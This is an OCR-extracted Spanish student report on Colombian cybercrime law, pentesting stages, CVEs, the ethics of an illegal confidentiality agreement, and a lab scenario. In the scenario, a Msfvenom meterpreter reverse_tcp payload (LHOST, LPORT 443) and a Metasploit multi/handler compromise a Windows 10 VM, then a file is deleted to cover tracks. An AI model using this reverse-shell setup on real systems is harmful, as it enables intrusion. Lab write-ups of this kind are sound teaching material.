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RESUMEN

El informe Técnico exhibido da una recopilacion de informacién notable con la
ciberseguridad y las leyes colombianas en materia de delitos informéticos. El cual
aborda la Ley 1273 de 2009, en el que se tipifica diversos delitos como el acceso
abusivo a sistemas informaticos, la interceptacion de datos y el uso de software
malicioso. Ademas, se explica la Ley 1581 de 2012, que regula la proteccion de
datos personales en Colombia.

Subsiguientemente, se detalla el proceso de pentesting y sus etapas, resaltando la
importancia de la fase de reconocimiento (footprinting) como base fundamental
para las pruebas de penetracidn en los escenarios propuestos.

Este informe también incluye un escenario practico donde se simula un ataque
informéatico utilizando herramientas como Msfvenom y Metasploit, generando un
payload malicioso y estableciendo una conexién inversa para complicar una
maquina Windows 10 x64. Se explican los pasos para identificar el fallo de

seguridad, las herramientas utilizadas y las medidas de mitigacion implementadas.

Finalmente, se abordan aspectos como la configuracion de seguridad en Windows
10, las diferencias entre equipos Blue Team, Red Team y Purple Team, el papel
del Center for Internet Security (CIS) en la estandarizacion de practicas de
ciberseguridad, y se presentan herramientas de descubrimiento de ataques
informéaticos con licencia GPL.

Palabras clave: Blue Team, ciberseguridad, CIS, Metasploit, pentesting payload,

Red Team.



GLOSARIO

Blue Team: Equipo encargado de la defensa y proteccion de los sistemas y

redes de una organizacion.

CIS (Center for Internet Security): Organizacion que desarrolla y difunde las
mejores practicas en ciberseguridad a través de sus Benchmarks de

Seguridad.

CVE (Common Vulnerabilities and Exposures): Sistema de identificacion y

nomenclatura estandarizada para vulnerabilidades de software y hardware.

Footprinting: Fase inicial del pentesting, donde se recopila informacién sobre

el objetivo de manera pasiva.

IDS/IPS (Intrusion Detection/Prevention System): Sistemas de deteccién y

prevencion de intrusiones en redes.

Meterpreter: Payload avanzado de Metasploit que proporciona una sesion de

shell interactiva y escalable en la maquina victima comprometida.

Msfvenom: Herramienta de linea de comandos de Metasploit utilizada para

generar payloads maliciosos personalizados.

Payload: Carga util o cédigo malicioso que se inyecta en un sistema o

aplicacién con fines de explotacién o ataque.

Purple Team: Combinacion de los equipos Blue Team y Red Team que
trabajan juntos para compartir informacion y mejorar las capacidades

defensivas y ofensivas.

Pentesting: Pruebas de penetracion éticas realizadas para evaluar la

seguridad de un sistema informatico o red.

Red Team: Equipo que emula a los atacantes reales y realiza pruebas de
penetracion para identificar vulnerabilidades.
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INTRODUCCION

Se presenta un escenario practico donde se simula un ataque informatico
utilizando herramientas como Msfvenom y Metasploit, forjando un payload
malicioso y creando una conexion inversa para complicar una maquina Windows
10 x64. Se detallan los pasos para identificar el fallo de seguridad, las

herramientas utilizadas y las medidas de mitigacion implementadas.

Adicionalmente, se abordan temas como la configuracion de seguridad en
Windows 10, las diferencias entre equipos Blue Team, Red Team y Purple Team,
el papel del Center for Internet Security (CIS) en la estandarizacion de practicas de

ciberseguridad, y se exhiben herramientas de deteccidn de ataques informaticos.

El informe Técnico analiza las leyes colombianas afines con delitos informaticos, la
perspicacia del proceso de pentesting y sus etapas, la importancia de los CVE
(Common Vulnerabilities and Exposures) en la gestion de vulnerabilidades, y la

indagacion de un escenario practico de ataque informético.

Se inicia con un estudio De articulos de la Ley 1273 de 2009, que plasma delitos
como el acceso abusivo a sistemas informéticos, la contencion de datos y el uso
de software malicioso. Asimismo, se inspecciona la Ley 1581 de 2012, encargada
de regular la proteccion de datos personales en Colombia. Estas leyes sientan las

bases para comprender el marco legal colombiano en materia de ciberseguridad.

Posteriormente, se profundiza en el proceso de pentesting y sus etapas cruciales,
destacando la importancia de la fase de reconocimiento (footprinting) como base
fundamental para las pruebas de penetracion. Se explora la estructura y el uso de
los CVE, un sistema de identificacion y nomenclatura estandarizada para

vulnerabilidades de software y hardware.



1 OBJETIVOS

1.1 OBJETIVOS GENERAL

Analizar y comprender los conceptos fundamentales de la ciberseguridad,
incluyendo el marco legal colombiano, el proceso de pentesting, la gestion de
vulnerabilidades, y las herramientas y técnicas utilizadas en ambientes dafiosos y
defensivos, a través de la publicacibn de un escenario practico de ataque

informatico.

1.2 OBJETIVOS ESPECIFICOS

e Examinar las leyes colombianas relevantes, como la Ley 1273 de 2009 y la
Ley 1581 de 2012, para comprender el marco legal que rige los delitos
informaticos y la proteccién de datos personales.

e Describir el proceso de pentesting y sus etapas clave, enfatizando la
importancia de la fase de reconocimiento (footprinting) como base
fundamental para las pruebas de penetracion.

e Explicar la estructura, los pasos y la integracién de los Equipos Red, Blue y
Purple Team en la identificacion y gestion de vulnerabilidades de software y
hardware dentro de una Organizacion.

e Analizar un escenario practico de ataque informatico, detallando las
herramientas utilizadas (Msfvenom, Metasploit), las técnicas empleadas
(payload malicioso, conexién inversa), y las medidas de mitigacion

implementadas para subsanar el fallo de seguridad.
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2 DESARROLLO DEL INFORME
3 ESCENARIO 1
3.1 LEY 1273 DE 2009

La Ley 1273 de 2009 en Colombia se orienta en la disputa contra los delitos
informaticos. La ley se entiende que tiene como objetivo principal representar y
condenar los delitos relacionados con el acceso no autorizado a sistemas

informaticos y la apropiacion ilicita de datos electronicos.

3.1.1 Articulo 1: Concreta el objeto de la ley, Establece normas para la
prevencion, investigacion, seguimiento y sancion de los delitos informaticos.

3.1.2 Articulo 2: Instituye la jurisdiccién colombiana sobre los delitos informaticos
cometidos en todo y a nivel nacional.

3.1.3 Articulo 4: Caracteriza delitos como el acceso abusivo a un sistema
informatico, la interceptacion de datos y la utilizacién de programas maliciosos.
Podemos identificar también los siguientes articulos donde tipificamos e
identificamos diferentes temas:

3.1.4 Articulo 269A: Acceso ilegal a un sistema informatico, con penas de prisién
de 48 a 96 meses y multas de 100 a 1.000 salarios minimos legales mensuales
vigentes

3.1.5 Articulo 269B: Obstaculizacion ilegitima de sistema informatico o red de
telecomunicacion, Se penaliza la obstruccion o impedimento del funcionamiento o
el acceso normal a un sistema informatico o a una red de telecomunicaciones
3.1.6 Articulo 269C: Interceptacion de datos informéticos, Se sanciona la
interceptacién de datos informaticos sin orden judicial previa

3.1.7 Articulo 269D: Dafo informatico, Se castiga la destruccion, dafio, borrado,
deterioro, alteracion o supresion de datos informaticos o un sistema de tratamiento
de informacién o sus partes o componentes logicos

3.1.8 Articulo 269E: Uso de software malicioso, Se penaliza la produccion,

trafico, adquisicion, distribucion, venta, envio, introduccidn o extraccion del
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territorio nacional de software malicioso u otros programas de computacion de
efectos dafinos

3.1.9 Articulo 269F: Suplantacion de identidad.

3.1.10 Articulo 269G: Violacién de datos personales.

3.1.11 Articulo 269H: Perturbacion de la prestacion del servicio de
telecomunicaciones.

3.1.12 Articulo 269I: Falsedad en la inscripcién o actualizacién de informacion en
bases de datos.

3.1.13 Articulo 269J: Fraude informatico.

1 Avance Juridico Casa Editorial Ltda. (2024.). Vigencia expresa y control de constitucionalidad
[LEY_1273_2009]. Avance Juridico Casa Editorial Ltda., Senado De La Republica
De Colombia. http://secretariasenado.gov.co/senado/basedoc/ley 1273 2009.html
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3.2 LEY 1581 DE 2012

Proteccion de datos personales.

Su Objetivo es regular el tratamiento de los datos personales, garantizando el
derecho a la privacidad y el habeas data.

Hablando de la Ley 1581 de 2012, podemos identificarnos en la proteccion de
datos personales en Colombia. Su intencién es certificar el derecho fundamental
de las personas a conocer, actualizar y reformar la informacion que se ha
recopilado sobre ellas en bases de datos y archivos.

La Ley 1581 instituye los principios generales para el método de datos personales,

como la finalidad, la libertad, la veracidad y la seguridad.

. Exige a adquirir el consentimiento del titular de los datos antes de
recolectar y procesar su informacién personal.

. Instituye la obligacion de adoptar medidas de seguridad para proteger
los datos personales.

. Establece los derechos de los titulares de los datos, como el acceso, la
rectificacion y la supresion de la informacién personal.

Podemos identificar los aspectos mas relevantes:

. Delimita los compendios que rigen el tratamiento de datos personales.
. Instituye los derechos de los titulares de los datos.

. Crea la figura del Apoderado del Tratamiento de Datos Personales.

. Regula la transferencia internacional de datos.

. Define las obligaciones de las entidades que traten datos personales.
. Establece el régimen sancionatorio.

. Entidad Reguladora: Superintendencia de Industria y Comercio

. (SIC)

Multas:

. Leve: Entre 1y 100 SMLMV.
. Grave: Entre 101 y 1.000 SMLMV.
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. Muy grave: Entre 1.001 y 5.000 SMLMV.

3.3 PENTESTING

El pentesting es un proceso muy importante y tiene 5 etapas esenciales para la
identificacion y vulnerabilidades y es un proceso integral consuma y detallada
planificacion y ejecuciéon cuidadosa, dando que cada etapa juega un papel crucial
en la identificacion de riesgos y la proteccion de la informacion.

Estas pruebas de penetracion, es un proceso que se utiliza para valorar la
seguridad de un técnica informatico, red o aplicacién web. Este proceso consta de

varias etapas:

Reconocimiento (Footprinting):

Descripcién: Recopila informacion sobre el objetivo de manera pasiva. El objetivo
es conseguir datos que alcancen a ser utilizados para identificar vulnerabilidades y
puntos débiles en el sistema.

Herramientas y Técnicas:

Herramientas Opensource:

e WHOIS: Para obtener informacién sobre el registro de dominios.

e Google Dorks: Busquedas especificas en Google para encontrar
informacion sensible.

e Recon-ng: Marco de reconocimiento de cAdigo abierto.

Herramientas Pagas:

e Maltego: Herramienta de mineria de datos para enlazar y visualizar
informacion.

e Shodan: Motor de busqueda especializado en dispositivos conectados.
Threat Intelligence Platforms (TIPs): Plataformas que agregan y analizan
informacion de amenazas. Entre su importancia es esencial para
comprender la superficie de ataque y planificar ataques mas efectivos,

permitiendo la identificacion de activos, servicios aventurados y posibles
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debilidades antes de realizar pruebas activas, reduciendo el riesgo de
deteccioén al recopilar informacion de manera pasiva.
Escaneo de Vulnerabilidades:
. Descripcion: Identificacion de posibles vulnerabilidades y debilidades en

los sistemas objetivo.

. Herramientas:
. Nessus, OpenVAS, Nexpose, entre otras.
. Importancia:
. Ayuda a identificar y priorizar vulnerabilidades para la correccion.
. Permite a los defensores abordar proactivamente posibles problemas de
seguridad.
Explotacion:
Descripcioén: Intento de aprovechar las vulnerabilidades identificadas

para ganar acceso no autorizado.
. Herramientas:

. Metasploit, Burp Suite, entre otras.

Su importancia es simular los ataques reales para evaluar la tenacidad del sistema
ayudando a comprender cdmo un atacante podria explotar las vulnerabilidades
identificadas.
Post-Explotacion:
. Descripcién: Mantenimiento del acceso y obtencion de informacién
adicional después de ganar acceso inicial.

Herramientas:

. Meterpreter (parte de Metasploit), PowerShell Empire, entre otras.
. Importancia:
. Simula actividades de un atacante después de envolver un sistema.

Informe y Andlisis:
. Descripcién: Documentacion detallada de las pruebas, resultados, y

recomendaciones de seguridad.
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. Importancia:
. Da una vision clara de la postura de seguridad y areas de mejora.

Hablando de la etapa del Reconocimiento (Footprinting):

Técnicas:
J Busqueda en internet (Google, Shodan, Bing, etc.)
o Blsqueda en redes sociales (LinkedIn, Twitter, Facebook, etc.)

J Busqueda de registros DNS
J Busqueda de WHOIS

o Analisis de metadatos de documentos

J Recopilacion de informacion de empleados

o Explotacion de vulnerabilidades de dia cero Aplicaciones Open
Source:

o Nmap: Escaneo de puertos y servicios.

J TheHarvester: Recopilacion de informacion de empleados y correos

electrénicos

J Maltego: Andlisis de relaciones entre entidades
J dnsrecon: Busqueda de informacion en registros DNS
J Fierce: Busqueda de subdominios

Aplicaciones Pagas:

o SpiderFoot: Recopilacién automatizada de informacion

J Recon-ng: Plataforma modular para footprinting

o Acunetix: Escaner de vulnerabilidades web

J Metasploit: Framework para pruebas de penetracion Importancia del
Footprinting:

J Base fundamental para el pentesting: Permite identificar activos,

vulnerabilidades y vectores de ataque.

J Eficiencia: Reduce el tiempo y esfuerzo en las siguientes etapas.
o Precision: Orienta las pruebas hacia las areas mas criticas del
objetivo.
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o Legalidad: Se basa en informacién publica, evitando intrusiones
ilegales.
J Rentabilidad: Ofrece un alto retorno de la inversiébn en comparacion

con otras etapas.

La fase de Footprinting es crucial ya que proporciona la base para la fase posterior
de pruebas de penetracion. Al recopilar la mayor cantidad de informacion posible
sobre un objetivo, los evaluadores de penetracion pueden identificar las &reas mas
vulnerables y planificar ataques de manera mas efectiva. Sin un conocimiento
profundo del objetivo, la eficacia de las pruebas posteriores a la penetracion se
reducira considerablemente. Etapa de footprinting es crucial porque proporciona la
base para las etapas posteriores del pentesting. Al recopilar tanta informacién
como sea posible sobre el objetivo, los pentesters pueden identificar las areas mas
vulnerables y planificar sus ataques de manera mas efectiva. Sin una comprension
sélida del objetivo, las etapas posteriores del pentesting serian mucho menos

efectivas.
1

1 Gaviria, Radl. (2015). Guia practica para pruebas de pentest basada en la metodologia OSSTMM v2.1y la
guia OWASP v3.0. Repositorio Unilibre Pereira.(pp. 18-61).
https://repository.unilibre.edu.co/bitstream/handle/10901/17296/GU%c3%8dA%20PR%c3%81CTICA%20PAR
A%20PRUEBAS .pdf?sequence=1&isAllowed=y
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3.4 ¢;CVEY SU ESTRUCTURA?

Buen identificando el CVE como definicion CVE significa "Common Vulnerabilities
and Exposures" (Vulnerabilidades y Exposiciones Comunes) y se identifica como
un sistema de identificacion y nomenclatura de vulnerabilidades en software y
hardware. Y su intencion principal de CVE es proporcionar un esquema comun

para referenciar y compartir informacion sobre debilidades de seguridad.

3.4.1 Estructura de un CVE

Un CVE tiene una estructura especifica que consta de varios campos:

Formato general:
o CVE seguido de un guion y un afio de emision, seguido de un
ndmero unico. Ejemplo: CVE-2022-12345.
J Parte "CVE":

J La primera parte es estatica y significa "Common Vulnerabilities and
Exposures".

J Afo de emision:

o El afio en que se emitié el CVE, generalmente compuesto por cuatro
digitos.

J Numero Unico:

J Un namero asignado secuencialmente a cada CVE dentro de un afio.
o Ejemplo Detallado:

J CVE: Identifica que es parte del sistema CVE.

J Afo: Indica el afio de emisidn.
o NUmero Uunico: Un identificador uUnico para esa vulnerabilidad
especifica.

J Por ejemplo, CVE-2022-12345 seria el CVE numero 12345 emitido
en el afio 2022.
3.4.2 Uso y Significado
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o Referencia Estandar: Proporciona una referencia Unica vy
estandarizada para cada vulnerabilidad, facilitando la busqueda y el
intercambio de informacion.

° Facilita la Comunicacion: Al utilizar un identificador comun, los
profesionales de la seguridad pueden comunicarse de manera mas eficiente
sobre vulnerabilidades especificas.

o Seguimiento y Registro: Ayuda en el seguimiento de vulnerabilidades
a lo largo del tiempo y permite a los usuarios rastrear la historia y las
actualizaciones de una vulnerabilidad particular.

o Interoperabilidad: Al adoptar un formato estandar, facilita la
interoperabilidad entre diferentes herramientas y bases de datos de
seguridad.

3.4.3 Importancia

J Los CVE son una herramienta fundamental para la gestion de riesgos

de seguridad. Permiten a las organizaciones:

o Identificar las vulnerabilidades que afectan a sus sistemas y software.
J Priorizar la aplicacion de parches y medidas de seguridad.
J Compartir  informacion  sobre  vulnerabilidades con  otras

organizaciones.

o Mantenerse al dia sobre las Ultimas amenazas de seguridad.

o https://lwww.exploit-db.com/ como se utiliza y cédmo se articula con el
CVE?

J Esta pagina es una base de datos de exploits que es utilizada por los

expertos de la seguridad y los investigadores de fragilidades. Exploit-DB es
un archivo de exploits publicos y software vulnerable correspondiente,
perfeccionado para su uso por los probadores de penetracion y los
investigadores de vulnerabilidades.

J Exploit-DB se profiere con el sistema CVE en el sentido de que cada

entrada en la base de datos de Exploit-DB esta asociada con un
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identificador CVE especifico. Esto permite a los interesados buscar exploits

especificos utilizando el identificador CVE correspondiente.

3.5 DESARROLLO ESCENARIO 1

Figura 1 Detalles de la instalacién del Banco De Trabajo Kali

Figura 2 Detalles de la instalacién del Banco De Trabajo Windows
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4 ESCENARIO 2

4.1 DOCUMENTACION ILEGAL DENTRO DEL ACUERDO DE
CONFIDENCIALIDAD.

Basandose en la lectura de los anexos, se identificaron algunas clausulas del

acuerdo de confidencialidad que podrian considerarse ilegales o poco éticas.

Después de haber leido y analizado el texto de los Escenarios relacionados 2 y 3,

se

han identificado las siguientes conclusiones:

En la estipulacion segunda, punto 2, se sefiala como informacién

confidencial: "datos secretos como (datos de chuzadas, interceptacion ilegal

de informacion, accesos abusivos a sistemas informaticos)”". Se puede

interpretar y manifestar que la empresa esta implicada o puede estar
realizando actividades ilegales de pesquisa y acceso no autorizado a
sistemas, lo que va contra la ley, La presente situaciébn genera serios
cuestionamientos éticos y legales, puesto que implica practicas que
vulneran la privacidad y la integridad de la informacion, infringiendo
normativas y leyes de ciberseguridad segun la legislacion presente en
Colombia.

En la estipulacién cuarta, punto 3, se indica que la parte receptora no debe
"denunciar _ante las autoridades actividades sospechosas de espionaje 0

cualquier otro proceso en el cual intervenga la apropiacion de informacion

de terceros". La implicacion de esto evadiria las responsabilidades para
impedir que se denuncien actividades ilegales de la empresa,
esta clausula limita directamente la capacidad de la parte receptora para
denunciar actividades sospechosas, particularmente aquellas relacionadas
con espionaje o la apropiacién indebida de informacién de terceros. Tal
limitacion podria generar un conflicto con la responsabilidad ética y legal de

informar sobre actividades ilicitas.
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En la estipulacion cuarta, punto 5, se indica que la parte receptora debe
"Responder ante las autoridades competentes como responsable en caso

de que la informacién se encuentre en su poder dentro de un proceso de

allanamiento”. La intencidbn es que la parte receptora cargue con las

responsabilidades penales. La presente clausula obliga a la parte receptora
a asumir la responsabilidad ante las autoridades si la informacion
confidencial se encuentra en su poder durante un allanamiento. Esta
disposicion podria interpretarse como un intento de asignar responsabilidad
legal directa a la parte receptora, incluso si la posesion de la informacién no
fue intencional ni ilicita por su parte.

En la Estipulacion octava se indica que, si se encuentra informacion ilegal o

confidencial en manos del receptor, este debe acudir a un abogado privado

y dejar exenta de responsabilidad legal y penal a la empresa. Nuevamente

se busca eludirlas obligaciones legales.

La presente clausula aparenta transferir la responsabilidad legal y penal de
la informacion ilegal o confidencial hallada a la parte receptora. Lo que
podria generar interrogantes sobre la equidad en la distribucion de
responsabilidades y si es éticamente admisible eximir completamente a la

empresa de cualquier implicancia legal.

4.2 LEY COLOMBIANA Y ARTICULO QUE SE PODRIA ESTAR
VIOLENTANDO PROCESO ILEGAL EN EL ANEXO 3

Segun lo leido y lo analizado en los anexos correspondientes, se pueden

identificar y validar las siguientes leyes y articulos:

Ley 1273 de 2009 - Ley de Delitos Informaticos:

Articulo 269: Acceso abusivo a un sistema informatico, sin autorizaciébn o no

acordado con medida o sin medida de proteccion y puede incurrir a compromisos
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legales penales, si la clausula del acuerdo permite o anima el acceso abusivo a
sistemas.

La clausula segunda al definir como confidencial informacion sobre "accesos
abusivos a sistemas informaticos" buscaria encubrir este delito.

Articulo 269B: Obstruccién al Funcionamiento de un Sistema Informatico

Habla de la prohibicion de la obstruccion al maniobra de un sistema informatico. Si
el acuerdo incluye disposiciones que puedan causar obstruccidén o interferencia
con el funcionamiento normal de sistemas informaticos, esto podria ser
considerado ilegal.

Articulo 269C: Dafo Informatico

Este articulo se refiere a la destruccion o modificacion no autorizada de datos o
programas informaticos. Si el acuerdo permite actividades que puedan resultar en
dafio informatico, podria contravenir este articulo.
Se refiere a la pérdida o transformacion no autorizada de datos o programas
informéaticos. El cual puede violarse si el Acuerdo permite actividades que puedan

causar dafos a un dispositivo.

Articulo 269D: Apropiacion de Datos Informéaticos
Abordar el robo de datos informaticos. Si el Acuerdo permite la apropiacion
indebida no autorizada de los datos de HackerHouse, puede entrar en conflicto

con estos Términos.

Articulo 269F: Violacion de Datos Personales

Este articulo se concentra en las violaciones de datos personales. Esta disposicion
puede incumplirse si el acuerdo implica la recopilacion, el procesamiento o la
divulgacién no autorizados de datos personales e infringe la privacidad. Al
promover la confidencialidad de informacion proveniente de "chuzadas", se

encubririan delitos de esta naturaleza.
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4.3 JUSTIFICACION RESPUESTA ACUERDO CONFIDENCIALIDAD
COPNIA EN SU CODIGO DE ETICA.

Segun el acuerdo del Cédigo de Etica Profesional de Ingenieria de COPNIA,
se describe:

Actuar dentro de un marco de moral, ética y buenas costumbres (Articulo 5).

No cometerd ni colaborard en actos de sabotaje o terrorismo, ni actos que
amenacen la seguridad nacional o la salud publica (articulo 25).

Denunciar violaciones a la ética profesional, normas legales y reglamentarias
(articulo 26).

Dado que el acuerdo de confidencialidad analizado facilita a HackerHouse la
ocultacion de posibles actividades ilegales o incluso delitos informaticos, aceptar y
firmar este acuerdo violaria principios éticos profesionales.

Si bien el salario ofrecido es atractivo, como profesional la ética y la legalidad son
mis prioridades. Firmar este Acuerdo y aceptar ocultar violaciones me convertiria
en complice de una actividad ilegal, lo que podria derivar en una accion
disciplinaria por parte de COPNIA.

En consecuencia, declino la firma del acuerdo de confidencialidad y la oferta de
trabajo en HackerHouse debido a las implicaciones éticas y legales que conlleva
desde una perspectiva profesional. La integridad y el cumplimiento normativo son
valores irrenunciables para mi, por encima de cualquier incentivo econémico.
Sabiendo esto, la ética profesional me impide vincularme laboralmente a una
empresa cuyas practicas, reflejadas en el acuerdo de confidencialidad, van en

contra de la ley y los principios que rigen el ejercicio de mi profesion.

Complementando y en concordancia con el Codigo de Etica de COPNIA, mi
decision de no aceptar trabajos de HackerHouse se fundamenta en diversos
articulos que evidencian las implicaciones éticas y legales de sus acuerdos de

confidencialidad:
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Articulo 25: Prohibe realizar o asistir a acciones que atenten contra la seguridad
nacional o la salud publica. Considerando que el acuerdo fue disefiado para
encubrir posibles actividades ilegales por parte de la empresa, su firma implicaria
una violacion a este articulo.

Articulo 26: Establece la obligacion de denunciar violaciones éticas, morales y
legales relacionadas con el ejercicio profesional. La firma del acuerdo impediria el
cumplimiento de esta obligacién, ya que se estaria obligado a guardar silencio
sobre posibles irregularidades.

Articulo 33: Impone el deber de proteger la vida, la salud y el bienestar de la
comunidad. El acuerdo, al encubrir posibles actividades que atenten contra estos
valores, representa una amenaza para la sociedad.

Articulo 34: Prohibe aceptar trabajos que estén fuera del alcance de las propias
capacidades o que sean ilegales. La falta de informacion sobre las actividades de
HackerHouse genera dudas sobre su legalidad, por lo que la firma del acuerdo
implicaria un riesgo de incumplimiento.

Articulo 35: Exige respetar y aplicar las disposiciones legales relativas a la
profesién. El acuerdo, al buscar violar la ley, contraviene este articulo.

Articulo 45: Sistema de Invalidez e Incapacidad. La participacion en las

actividades propuestas en el Acuerdo creara incompatibilidades legales.?

2 Copnia. (2015). Cadigo de Etica para el ejercicio de la Ingenieria en general y sus profesiones afines y
auxiliares. Copnia. (pp. 3-26). https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica
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4.4 NOTICIA CIBERSEGURIDAD COLOMBIA

A la carcel 10 cibercriminales que robaron $1.200 millones a alcaldia en
Cundinamarca

quedo6 al descubierto una red integrada por 10 supuestos cibercriminales que
habrian hurtado méas de $1.200 millones de pesos a la Alcaldia de Macheta,
Cundinamarca, en abril de 2021.

Cayeron 10 cibercriminales que habrian robado mas de $1.200 millones a una
Alcaldia - Bogota - ELTIEMPO.COM

Desde una perspectiva objetiva en la noticia, podemos inferir que los delitos
especificos imputados a los detenidos estan afines con el acceso abusivo a un
sistema informatico agravado y el hurto por medios informaticos agravado,
sabiendo esto la ley colombiana en sus leyes:

Estan contemplados en la Ley 599 de 2000, En el Articulo 269B, Acceso abusivo a
un sistema informatico agravado sin autorizacién, obteniendo datos para su
modificacion o destruccidén contenida en el sistema o red segln sea el caso y este
puede ser sancionado con pena privativa de libertad.

También se puede identificar el articulo 269D sobre hurto por medios informaticos
y semejantes “Dano informatico”. cualquier persona que, sin estar autorizado para
ello, dafe, destruya, elimine, deteriore, trastorne o suprima data informética, o
cualquier sistema de tratamiento de informacion, conllevara en pena de prision de
cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1.000
salarios minimos legales mensuales vigentes.

Por otro lado, La legislacion colombiana en la Ley1273 de 2009, en su articulo
269A, habla de que quien ilicitamente se apropie para si o para otro de los datos
almacenados en un sistema informatico, incurrira en pena privativa de libertad.
Desde una perspectiva ética, se considera que la sustraccion de fondos publicos
mediante estos métodos que se realizan de forma cibernética representa
obviamente una violacién de la ley, que conlleva a una transgresion de confianza

publica y de la integridad de una institucion, afectando negativamente a nuestra
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sociedad y nuestro pais, sin dejar de un lado que se pone en riesgo la confianza
de la ciudadania en general hacia las instituciones publicas. También se sostiene
que estas acciones afectan directamente a la capacidad del Estado o gobierno
para la prestacion de los servicios, que se consideran para la sociedad o
comunidad. Ademas, desde la perspectiva de un profesional que aspira a servir al
pais dando ejemplo y aportando conocimiento, se considera inmoral y ético el robo
de dineros publicos que deben ser destinados al beneficio de la comunidad, lo cual
es totalmente reprochable, ya que por un lucro personal va contra la integridad y
los valores morales, sabiendo de antemano que las autoridades pertinentes deben
garantizar y aprovechar dichos recursos para que lleguen donde debe ser.
5 ESCENARIO 3

5.1 DESCRIPCION HERRAMIENTAS SOFTWARE ANEXO 4 RED TEAM
5.1.1 Msfvenom (Metasploit Payload Generator):

Esta herramienta de linea de comandos es parte del marco Metasploit y se utiliza
para generar cargas Utiles maliciosas. En este caso, se utilizé Msfvenom para
crear un ejecutable malicioso (PoC_1019010161.exe) que contenia una carga Util
de meterpreter inverso para la arquitectura Windows x64. Esta herramienta es
crucial en un entorno de equipo rojo, ya que permite la generacién de cargas Utiles
personalizadas para diferentes sistemas operativos y arquitecturas con el fin de

comprometer de forma remota las computadoras de destino.

5.1.2 Metasploit Framework:

Metasploit es un conjunto de herramientas de cédigo abierto para pruebas de
penetracion y explotacion de vulnerabilidades. En este caso, la consola Metasploit
(msfconsole) se utiliza para configurar y ejecutar el exploit "multi/handler”, que se
encarga de escuchar y establecer conexiones inversas (conexiones inversas) a las
maquinas victimas comprometidas por la carga util generada por Msfvenom.

Metasploit es una herramienta esencial en el ambito de Red Team, ya que
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proporciona una amplia coleccion de exploits y payloads para diversos sistemas

operativos y aplicaciones, lo que facilita la prueba de vulnerabilidades y la

obtencién de acceso remoto a maquinas objetivo.

5.1.3 Maquinas Virtuales (VirtualBox):

Se utilizaron maquinas virtuales para simular un entorno controlado y aislado. Se

configuraron dos maquinas virtuales: una con Kali Linux (sistema operativo

utilizado para herramientas de hacking ético y pruebas de penetracion) y otra con

Windows 10 de 64 bits (sistema operativo de la maquina victima).

Reconocimiento

Se recopil6 y analiz6 la informacién clave sobre la victima, como
el sistema operativo (Windows 10 x64), la arquitectura (x64), la
desactivacion de los sistemas de seguridad, la presencia de un
archivo sospechoso en el escritorio y la ejecucion de un archivo
ejecutable desconocido.

Escaneo

No aplicable en este escenario, ya que se asumié que la maquina
victima era conocida y se proporcioné su direccion IP
(172.26.223.148).

Obtencion de
acceso

-Payload: “windows/x64/meterpreter/reverse_tcp® (meterpreter
reverso para arquitectura x64 de Windows)
- Plataforma: Windows
- Arquitectura: x64
- LHOST: 172.26.214.78 (direccion IP de la maquina atacante)
- LPORT: 443 (puerto local para la conexion inversa)
- Formato: Ejecutable (.exe)

Mantener acceso

Metasploit Framework:
Se configuré el exploit “multi/lhandler’ en Metasploit con los
mismos parametros utilizados en Msfvenom (payload, LHOST y
LPORT).

- Se inici6 el exploit para escuchar la conexion inversa.

- Después de que la maquina victima ejecuté el payload
"PoC_1019010161.exe", se establecié una conexién inversa con
la maquina atacante.

- Se obtuvo una sesion de meterpreter en la maquina victima,
lo que permiti6 mantener el acceso remoto.

Escalada de
privilegios

No aplicable en este escenario, ya que no se requirid escalar
privilegios.
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Movimiento lateral | No aplicable en este escenario, ya que no se requiri6 moverse
lateralmente a otros sistemas

Mantenimiento del | No aplicable en este escenario, ya que el objetivo era eliminar el

acceso archivo sospechoso y no mantener el acceso a largo plazo
Cubrimiento de Sesion de meterpreter en Metasploit
huellas - Procedimiento: Dentro de la sesion de meterpreter establecida

en la maquina victima, se utilizd6 el comando del
C:\Users\vboxuser\Desktop\Juan_Beajrano_1019010161_ 10Marz
02024.txt para eliminar el archivo sospechoso del escritorio,
cubriendo asi las huellas del ataque.

5.2 ESPECIFICACION FALLO DE SEGURIDAD MAQUINA WINDOWS 10
X64

Juan_Beajrano_1019010161 10Marzo2024.txt. Este archivo fue eliminado
posteriormente, lo cual indica una accion maliciosa.
2. Ejecucion de un archivo ejecutable desconocido: El administrador de la
maquina afectada menciona haber ejecutado un archivo Illamado
"Poc_1019010161.exe", el cual fue recibido a través de WhatsApp Web por un
comparfiero de trabajo.
3. Sistema operativo y arquitectura: Se especifica que la maquina
comprometida tenia instalado Windows 10 de 64 bits (x64), lo cual es un dato
clave para generar un payload compatible con esta arquitectura.
4. Sistemas de seguridad deshabilitados: Se indica que en la maquina victima
se encontraban desactivados todos los sistemas de seguridad, como el firewall,
Windows Defender y antivirus. Esto facilitd la ejecucion del payload malicioso sin
ser detectado.
5. Experto sugiere un posible payload generado con Msfvenom: Uno de los
expertos en ciberseguridad de HackerHouse menciona que el incidente pudo
haber sido causado por un payload generado con la herramienta Msfvenom y
ejecutado a través de Metasploit, lo cual coincide con los pasos descritos en el

anexo.
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6. Descripcién detallada del proceso de generacion de payload vy
explotacion: El anexo proporciona una guia paso a paso sobre cOmo generar un
payload malicioso utilizando Msfvenom, configurar un exploit en Metasploit para
establecer una conexion reversa y finalmente eliminar el archivo sospechoso en la
maquina comprometida.

Todos estos datos e informacion apuntan a que el fallo de seguridad especifico
que permiti6 comprometer la maquina Windows 10 x64 fue la ejecucion de un
archivo ejecutable malicioso (payload) generado con Msfvenom y explotado a
través de Metasploit. Esto pudo ocurrir debido a la falta de sistemas de seguridad
activos en la maquina victima y a la falta de conciencia sobre la ejecucion de
archivos desconocidos por parte del usuario.

La organizacion HackerHouse detectd que uno de sus equipos con sistema
operativo Windows 10 x64 habia sido comprometido. Se encontr6 un archivo
sospechoso en el escritorio de la maquina, y el administrador mencion6é haber
ejecutado un archivo ejecutable desconocido llamado "Poc_1019010161.exe"
recibido a través de WhatsApp Web.

Tras analizar la situacion, uno de los expertos en ciberseguridad de HackerHouse
sugiri6 que el incidente podria haber sido causado por un payload malicioso
generado con la herramienta Msfvenom y ejecutado a través de Metasploit.
Andlisis del Fallo de Seguridad

El fallo de seguridad que permitié el compromiso de la maquina Windows 10 x64
fue una combinacion de varios factores:

Sistemas de seguridad desactivados: La maquina victima tenia desactivados
todos los sistemas de seguridad, como el firewall, Windows Defender y el
